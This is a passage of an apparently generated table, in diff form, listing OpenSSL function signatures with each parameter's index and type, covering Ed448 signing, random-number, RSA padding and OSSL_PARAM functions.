*,size_t,uint8_t,const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign | 5 | size_t | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign | 6 | uint8_t | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign | 7 | const uint8_t * | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign | 8 | size_t | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign | 9 | const char * | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t[64],const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign_prehash | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t[64],const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign_prehash | 1 | uint8_t[114] | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t[64],const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign_prehash | 2 | const uint8_t[57] | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t[64],const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign_prehash | 3 | const uint8_t[57] | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t[64],const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign_prehash | 4 | const uint8_t[64] | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t[64],const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign_prehash | 5 | const uint8_t * | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t[64],const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign_prehash | 6 | size_t | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t[64],const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign_prehash | 7 | const char * | +| (OSSL_LIB_CTX *,uint32_t,int *) | | ossl_rand_uniform_uint32 | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,uint32_t,int *) | | ossl_rand_uniform_uint32 | 1 | uint32_t | +| (OSSL_LIB_CTX *,uint32_t,int *) | | ossl_rand_uniform_uint32 | 2 | int * | +| (OSSL_LIB_CTX *,uint32_t,uint32_t,int *) | | ossl_rand_range_uint32 | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,uint32_t,uint32_t,int *) | | ossl_rand_range_uint32 | 1 | uint32_t | +| (OSSL_LIB_CTX *,uint32_t,uint32_t,int *) | | ossl_rand_range_uint32 | 2 | uint32_t | +| (OSSL_LIB_CTX *,uint32_t,uint32_t,int *) | | ossl_rand_range_uint32 | 3 | int * | +| (OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t) | | ossl_rand_get_nonce | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t) | | ossl_rand_get_nonce | 1 | unsigned char ** | +| (OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t) | | ossl_rand_get_nonce | 2 | size_t | +| (OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t) | | ossl_rand_get_nonce | 3 | size_t | +| (OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t) | | ossl_rand_get_nonce | 4 | const void * | +| (OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t) | | ossl_rand_get_nonce | 5 | size_t | +| (OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t) | | ossl_rand_get_user_nonce | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t) | | ossl_rand_get_user_nonce | 1 | unsigned char ** | +| (OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t) | | ossl_rand_get_user_nonce | 2 | size_t | +| (OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t) | | ossl_rand_get_user_nonce | 3 | size_t | +| (OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t) | | ossl_rand_get_user_nonce | 4 | const void * | +| (OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t) | | ossl_rand_get_user_nonce | 5 | size_t | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int) | | ossl_rsa_padding_add_PKCS1_type_2_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int) | | ossl_rsa_padding_add_PKCS1_type_2_ex | 1 | unsigned char * | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int) | | ossl_rsa_padding_add_PKCS1_type_2_ex | 2 | int | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int) | | ossl_rsa_padding_add_PKCS1_type_2_ex | 3 | const unsigned char * | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int) | | ossl_rsa_padding_add_PKCS1_type_2_ex | 4 | int | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | ossl_rsa_padding_add_PKCS1_OAEP_mgf1_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | ossl_rsa_padding_add_PKCS1_OAEP_mgf1_ex | 1 | unsigned char * | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | ossl_rsa_padding_add_PKCS1_OAEP_mgf1_ex | 2 | int | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | ossl_rsa_padding_add_PKCS1_OAEP_mgf1_ex | 3 | const unsigned char * | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | ossl_rsa_padding_add_PKCS1_OAEP_mgf1_ex | 4 | int | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | ossl_rsa_padding_add_PKCS1_OAEP_mgf1_ex | 5 | const unsigned char * | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | ossl_rsa_padding_add_PKCS1_OAEP_mgf1_ex | 6 | int | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | ossl_rsa_padding_add_PKCS1_OAEP_mgf1_ex | 7 | const EVP_MD * | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | ossl_rsa_padding_add_PKCS1_OAEP_mgf1_ex | 8 | const EVP_MD * | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,int,unsigned char *) | | ossl_rsa_padding_check_PKCS1_type_2 | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,int,unsigned char *) | | ossl_rsa_padding_check_PKCS1_type_2 | 1 | unsigned char * | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,int,unsigned char *) | | ossl_rsa_padding_check_PKCS1_type_2 | 2 | int | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,int,unsigned char *) | | ossl_rsa_padding_check_PKCS1_type_2 | 3 | const unsigned char * | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,int,unsigned char *) | | ossl_rsa_padding_check_PKCS1_type_2 | 4 | int | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,int,unsigned char *) | | ossl_rsa_padding_check_PKCS1_type_2 | 5 | int | +| (OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,int,unsigned char *) | | ossl_rsa_padding_check_PKCS1_type_2 | 6 | unsigned char * | +| (OSSL_LIB_CTX *,unsigned char *,size_t) | | ossl_rand_cleanup_entropy | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,unsigned char *,size_t) | | ossl_rand_cleanup_entropy | 1 | unsigned char * | +| (OSSL_LIB_CTX *,unsigned char *,size_t) | | ossl_rand_cleanup_entropy | 2 | size_t | +| (OSSL_LIB_CTX *,unsigned char *,size_t) | | ossl_rand_cleanup_user_entropy | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,unsigned char *,size_t) | | ossl_rand_cleanup_user_entropy | 1 | unsigned char * | +| (OSSL_LIB_CTX *,unsigned char *,size_t) | | ossl_rand_cleanup_user_entropy | 2 | size_t | +| (OSSL_LIB_CTX *,unsigned char *,size_t,const unsigned char *,size_t,int,int) | | ossl_rsa_padding_check_PKCS1_type_2_TLS | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,unsigned char *,size_t,const unsigned char *,size_t,int,int) | | ossl_rsa_padding_check_PKCS1_type_2_TLS | 1 | unsigned char * | +| (OSSL_LIB_CTX *,unsigned char *,size_t,const unsigned char *,size_t,int,int) | | ossl_rsa_padding_check_PKCS1_type_2_TLS | 2 | size_t | +| (OSSL_LIB_CTX *,unsigned char *,size_t,const unsigned char *,size_t,int,int) | | ossl_rsa_padding_check_PKCS1_type_2_TLS | 3 | const unsigned char * | +| (OSSL_LIB_CTX *,unsigned char *,size_t,const unsigned char *,size_t,int,int) | | ossl_rsa_padding_check_PKCS1_type_2_TLS | 4 | size_t | +| (OSSL_LIB_CTX *,unsigned char *,size_t,const unsigned char *,size_t,int,int) | | ossl_rsa_padding_check_PKCS1_type_2_TLS | 5 | int | +| (OSSL_LIB_CTX *,unsigned char *,size_t,const unsigned char *,size_t,int,int) | | ossl_rsa_padding_check_PKCS1_type_2_TLS | 6 | int | +| (OSSL_LIB_CTX *,unsigned char *,size_t,unsigned int) | | RAND_bytes_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,unsigned char *,size_t,unsigned int) | | RAND_bytes_ex | 1 | unsigned char * | +| (OSSL_LIB_CTX *,unsigned char *,size_t,unsigned int) | | RAND_bytes_ex | 2 | size_t | +| (OSSL_LIB_CTX *,unsigned char *,size_t,unsigned int) | | RAND_bytes_ex | 3 | unsigned int | +| (OSSL_LIB_CTX *,unsigned char *,size_t,unsigned int) | | RAND_priv_bytes_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,unsigned char *,size_t,unsigned int) | | RAND_priv_bytes_ex | 1 | unsigned char * | +| (OSSL_LIB_CTX *,unsigned char *,size_t,unsigned int) | | RAND_priv_bytes_ex | 2 | size_t | +| (OSSL_LIB_CTX *,unsigned char *,size_t,unsigned int) | | RAND_priv_bytes_ex | 3 | unsigned int | +| (OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int) | | ossl_cipher_tlsunpadblock | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int) | | ossl_cipher_tlsunpadblock | 1 | unsigned int | +| (OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int) | | ossl_cipher_tlsunpadblock | 2 | unsigned char * | +| (OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int) | | ossl_cipher_tlsunpadblock | 3 | size_t * | +| (OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int) | | ossl_cipher_tlsunpadblock | 4 | size_t | +| (OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int) | | ossl_cipher_tlsunpadblock | 5 | unsigned char ** | +| (OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int) | | ossl_cipher_tlsunpadblock | 6 | int * | +| (OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int) | | ossl_cipher_tlsunpadblock | 7 | size_t | +| (OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int) | | ossl_cipher_tlsunpadblock | 8 | int | +| (OSSL_METHOD_STORE *) | | ossl_method_store_free | 0 | OSSL_METHOD_STORE * | +| (OSSL_METHOD_STORE *,const OSSL_PROVIDER *,int,const char *,void *,..(*)(..),..(*)(..)) | | ossl_method_store_add | 0 | OSSL_METHOD_STORE * | +| (OSSL_METHOD_STORE *,const OSSL_PROVIDER *,int,const char *,void *,..(*)(..),..(*)(..)) | | ossl_method_store_add | 1 | const OSSL_PROVIDER * | +| (OSSL_METHOD_STORE *,const OSSL_PROVIDER *,int,const char *,void *,..(*)(..),..(*)(..)) | | ossl_method_store_add | 2 | int | +| (OSSL_METHOD_STORE *,const OSSL_PROVIDER *,int,const char *,void *,..(*)(..),..(*)(..)) | | ossl_method_store_add | 3 | const char * | +| (OSSL_METHOD_STORE *,const OSSL_PROVIDER *,int,const char *,void *,..(*)(..),..(*)(..)) | | ossl_method_store_add | 4 | void * | +| (OSSL_METHOD_STORE *,const OSSL_PROVIDER *,int,const char *,void *,..(*)(..),..(*)(..)) | | ossl_method_store_add | 5 | ..(*)(..) | +| (OSSL_METHOD_STORE *,const OSSL_PROVIDER *,int,const char *,void *,..(*)(..),..(*)(..)) | | ossl_method_store_add | 6 | ..(*)(..) | +| (OSSL_METHOD_STORE *,int,const char *,const OSSL_PROVIDER **,void **) | | ossl_method_store_fetch | 0 | OSSL_METHOD_STORE * | +| (OSSL_METHOD_STORE *,int,const char *,const OSSL_PROVIDER **,void **) | | ossl_method_store_fetch | 1 | int | +| (OSSL_METHOD_STORE *,int,const char *,const OSSL_PROVIDER **,void **) | | ossl_method_store_fetch | 2 | const char * | +| (OSSL_METHOD_STORE *,int,const char *,const OSSL_PROVIDER **,void **) | | ossl_method_store_fetch | 3 | const OSSL_PROVIDER ** | +| (OSSL_METHOD_STORE *,int,const char *,const OSSL_PROVIDER **,void **) | | ossl_method_store_fetch | 4 | void ** | +| (OSSL_NAMED_DAY *) | | OSSL_NAMED_DAY_free | 0 | OSSL_NAMED_DAY * | +| (OSSL_NAMED_DAY **,const unsigned char **,long) | | d2i_OSSL_NAMED_DAY | 0 | OSSL_NAMED_DAY ** | +| (OSSL_NAMED_DAY **,const unsigned char **,long) | | d2i_OSSL_NAMED_DAY | 1 | const unsigned char ** | +| (OSSL_NAMED_DAY **,const unsigned char **,long) | | d2i_OSSL_NAMED_DAY | 2 | long | +| (OSSL_NAMEMAP *,int,const char *) | | ossl_namemap_add_name | 0 | OSSL_NAMEMAP * | +| (OSSL_NAMEMAP *,int,const char *) | | ossl_namemap_add_name | 1 | int | +| (OSSL_NAMEMAP *,int,const char *) | | ossl_namemap_add_name | 2 | const char * | +| (OSSL_NAMEMAP *,int,const char *,const char) | | ossl_namemap_add_names | 0 | OSSL_NAMEMAP * | +| (OSSL_NAMEMAP *,int,const char *,const char) | | ossl_namemap_add_names | 1 | int | +| (OSSL_NAMEMAP *,int,const char *,const char) | | ossl_namemap_add_names | 2 | const char * | +| (OSSL_NAMEMAP *,int,const char *,const char) | | ossl_namemap_add_names | 3 | const char | +| (OSSL_OBJECT_DIGEST_INFO *) | | OSSL_OBJECT_DIGEST_INFO_free | 0 | OSSL_OBJECT_DIGEST_INFO * | +| (OSSL_OBJECT_DIGEST_INFO *,int,X509_ALGOR *,ASN1_BIT_STRING *) | | OSSL_OBJECT_DIGEST_INFO_set1_digest | 0 | OSSL_OBJECT_DIGEST_INFO * | +| (OSSL_OBJECT_DIGEST_INFO *,int,X509_ALGOR *,ASN1_BIT_STRING *) | | OSSL_OBJECT_DIGEST_INFO_set1_digest | 1 | int | +| (OSSL_OBJECT_DIGEST_INFO *,int,X509_ALGOR *,ASN1_BIT_STRING *) | | OSSL_OBJECT_DIGEST_INFO_set1_digest | 2 | X509_ALGOR * | +| (OSSL_OBJECT_DIGEST_INFO *,int,X509_ALGOR *,ASN1_BIT_STRING *) | | OSSL_OBJECT_DIGEST_INFO_set1_digest | 3 | ASN1_BIT_STRING * | +| (OSSL_PARAM *) | | OSSL_PARAM_free | 0 | OSSL_PARAM * | +| (OSSL_PARAM *) | | OSSL_PARAM_set_all_unmodified | 0 | OSSL_PARAM * | +| (OSSL_PARAM *) | | app_params_free | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,const BIGNUM *) | | OSSL_PARAM_set_BN | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,const BIGNUM *) | | OSSL_PARAM_set_BN | 1 | const BIGNUM * | +| (OSSL_PARAM *,const OSSL_PARAM *,const char *,const char *,size_t,int *) | | OSSL_PARAM_allocate_from_text | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,const OSSL_PARAM *,const char *,const char *,size_t,int *) | | OSSL_PARAM_allocate_from_text | 1 | const OSSL_PARAM * | +| (OSSL_PARAM *,const OSSL_PARAM *,const char *,const char *,size_t,int *) | | OSSL_PARAM_allocate_from_text | 2 | const char * | +| (OSSL_PARAM *,const OSSL_PARAM *,const char *,const char *,size_t,int *) | | OSSL_PARAM_allocate_from_text | 3 | const char * | +| (OSSL_PARAM *,const OSSL_PARAM *,const char *,const char *,size_t,int *) | | OSSL_PARAM_allocate_from_text | 4 | size_t | +| (OSSL_PARAM *,const OSSL_PARAM *,const char *,const char *,size_t,int *) | | OSSL_PARAM_allocate_from_text | 5 | int * | +| (OSSL_PARAM *,const char *) | | OSSL_PARAM_locate | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,const char *) | | OSSL_PARAM_locate | 1 | const char * | +| (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_ptr | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_ptr | 1 | const char * | +| (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_string | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_string | 1 | const char * | +| (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_ptr | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_ptr | 1 | const void * | +| (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_ptr | 2 | size_t | +| (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string | 1 | const void * | +| (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string | 2 | size_t | +| (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string_or_ptr | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string_or_ptr | 1 | const void * | +| (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string_or_ptr | 2 | size_t | +| (OSSL_PARAM *,double) | | OSSL_PARAM_set_double | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,double) | | OSSL_PARAM_set_double | 1 | double | +| (OSSL_PARAM *,int32_t) | | OSSL_PARAM_set_int32 | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,int32_t) | | OSSL_PARAM_set_int32 | 1 | int32_t | +| (OSSL_PARAM *,int64_t) | | OSSL_PARAM_set_int64 | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,int64_t) | | OSSL_PARAM_set_int64 | 1 | int64_t | +| (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | int | +| (OSSL_PARAM *,long) | | OSSL_PARAM_set_long | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,long) | | OSSL_PARAM_set_long | 1 | long | +| (OSSL_PARAM *,size_t) | | OSSL_PARAM_set_size_t | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,size_t) | | OSSL_PARAM_set_size_t | 1 | size_t | +| (OSSL_PARAM *,time_t) | | OSSL_PARAM_set_time_t | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,time_t) | | OSSL_PARAM_set_time_t | 1 | time_t | +| (OSSL_PARAM *,uint32_t) | | OSSL_PARAM_set_uint32 | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,uint32_t) | | OSSL_PARAM_set_uint32 | 1 | uint32_t | +| (OSSL_PARAM *,uint64_t) | | OSSL_PARAM_set_uint64 | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,uint64_t) | | OSSL_PARAM_set_uint64 | 1 | uint64_t | +| (OSSL_PARAM *,unsigned int) | | OSSL_PARAM_set_uint | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,unsigned int) | | OSSL_PARAM_set_uint | 1 | unsigned int | +| (OSSL_PARAM *,unsigned long) | | OSSL_PARAM_set_ulong | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,unsigned long) | | OSSL_PARAM_set_ulong | 1 | unsigned long | +| (OSSL_PARAM *,void *,size_t) | | ossl_param_set_secure_block | 0 | OSSL_PARAM * | +| (OSSL_PARAM *,void *,size_t) | | ossl_param_set_secure_block | 1 | void * | +| (OSSL_PARAM *,void *,size_t) | | ossl_param_set_secure_block | 2 | size_t | +| (OSSL_PARAM[],size_t,size_t,unsigned long) | | ossl_digest_default_get_params | 0 | OSSL_PARAM[] | +| (OSSL_PARAM[],size_t,size_t,unsigned long) | | ossl_digest_default_get_params | 1 | size_t | +| (OSSL_PARAM[],size_t,size_t,unsigned long) | | ossl_digest_default_get_params | 2 | size_t | +| (OSSL_PARAM[],size_t,size_t,unsigned long) | | ossl_digest_default_get_params | 3 | unsigned long | +| (OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t) | | ossl_cipher_generic_get_params | 0 | OSSL_PARAM[] | +| (OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t) | | ossl_cipher_generic_get_params | 1 | unsigned int | +| (OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t) | | ossl_cipher_generic_get_params | 2 | uint64_t | +| (OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t) | | ossl_cipher_generic_get_params | 3 | size_t | +| (OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t) | | ossl_cipher_generic_get_params | 4 | size_t | +| (OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t) | | ossl_cipher_generic_get_params | 5 | size_t | +| (OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t) | | ossl_tdes_get_params | 0 | OSSL_PARAM[] | +| (OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t) | | ossl_tdes_get_params | 1 | unsigned int | +| (OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t) | | ossl_tdes_get_params | 2 | uint64_t | +| (OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t) | | ossl_tdes_get_params | 3 | size_t | +| (OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t) | | ossl_tdes_get_params | 4 | size_t | +| (OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t) | | ossl_tdes_get_params | 5 | size_t | +| (OSSL_PARAM_BLD *) | | OSSL_PARAM_BLD_to_param | 0 | OSSL_PARAM_BLD * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *) | | ossl_param_build_set_bn | 0 | OSSL_PARAM_BLD * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *) | | ossl_param_build_set_bn | 1 | OSSL_PARAM * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *) | | ossl_param_build_set_bn | 2 | const char * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *) | | ossl_param_build_set_bn | 3 | const BIGNUM * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *,size_t) | | ossl_param_build_set_bn_pad | 0 | OSSL_PARAM_BLD * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *,size_t) | | ossl_param_build_set_bn_pad | 1 | OSSL_PARAM * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *,size_t) | | ossl_param_build_set_bn_pad | 2 | const char * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *,size_t) | | ossl_param_build_set_bn_pad | 3 | const BIGNUM * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *,size_t) | | ossl_param_build_set_bn_pad | 4 | size_t | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const char *) | | ossl_param_build_set_utf8_string | 0 | OSSL_PARAM_BLD * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const char *) | | ossl_param_build_set_utf8_string | 1 | OSSL_PARAM * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const char *) | | ossl_param_build_set_utf8_string | 2 | const char * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const char *) | | ossl_param_build_set_utf8_string | 3 | const char * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const unsigned char *,size_t) | | ossl_param_build_set_octet_string | 0 | OSSL_PARAM_BLD * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const unsigned char *,size_t) | | ossl_param_build_set_octet_string | 1 | OSSL_PARAM * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const unsigned char *,size_t) | | ossl_param_build_set_octet_string | 2 | const char * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const unsigned char *,size_t) | | ossl_param_build_set_octet_string | 3 | const unsigned char * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const unsigned char *,size_t) | | ossl_param_build_set_octet_string | 4 | size_t | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,int) | | ossl_param_build_set_int | 0 | OSSL_PARAM_BLD * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,int) | | ossl_param_build_set_int | 1 | OSSL_PARAM * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,int) | | ossl_param_build_set_int | 2 | const char * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,int) | | ossl_param_build_set_int | 3 | int | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,long) | | ossl_param_build_set_long | 0 | OSSL_PARAM_BLD * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,long) | | ossl_param_build_set_long | 1 | OSSL_PARAM * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,long) | | ossl_param_build_set_long | 2 | const char * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,long) | | ossl_param_build_set_long | 3 | long | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *[],stack_st_BIGNUM_const *) | | ossl_param_build_set_multi_key_bn | 0 | OSSL_PARAM_BLD * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *[],stack_st_BIGNUM_const *) | | ossl_param_build_set_multi_key_bn | 1 | OSSL_PARAM * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *[],stack_st_BIGNUM_const *) | | ossl_param_build_set_multi_key_bn | 2 | const char *[] | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *[],stack_st_BIGNUM_const *) | | ossl_param_build_set_multi_key_bn | 3 | stack_st_BIGNUM_const * | +| (OSSL_PARAM_BLD *,const char *,const BIGNUM *) | | OSSL_PARAM_BLD_push_BN | 0 | OSSL_PARAM_BLD * | +| (OSSL_PARAM_BLD *,const char *,const BIGNUM *) | | OSSL_PARAM_BLD_push_BN | 1 | const char * | +| (OSSL_PARAM_BLD *,const char *,const BIGNUM *) | | OSSL_PARAM_BLD_push_BN | 2 | const BIGNUM * | +| (OSSL_PARAM_BLD *,const char *,const BIGNUM *,size_t) | | OSSL_PARAM_BLD_push_BN_pad | 0 | OSSL_PARAM_BLD * | +| (OSSL_PARAM_BLD *,const char *,const BIGNUM *,size_t) | | OSSL_PARAM_BLD_push_BN_pad | 1 | const char * | +| (OSSL_PARAM_BLD *,const char *,const BIGNUM *,size_t) | | OSSL_PARAM_BLD_push_BN_pad | 2 | const BIGNUM * | +| (OSSL_PARAM_BLD *,const char *,const BIGNUM *,size_t) | | OSSL_PARAM_BLD_push_BN_pad | 3 | size_t | +| (OSSL_PARAM_BLD *,const char *,const char *,size_t) | | OSSL_PARAM_BLD_push_utf8_string | 0 | OSSL_PARAM_BLD * | +| (OSSL_PARAM_BLD *,const char *,const char *,size_t) | | OSSL_PARAM_BLD_push_utf8_string | 1 | const char * | +| (OSSL_PARAM_BLD *,const char *,const char *,size_t) | | 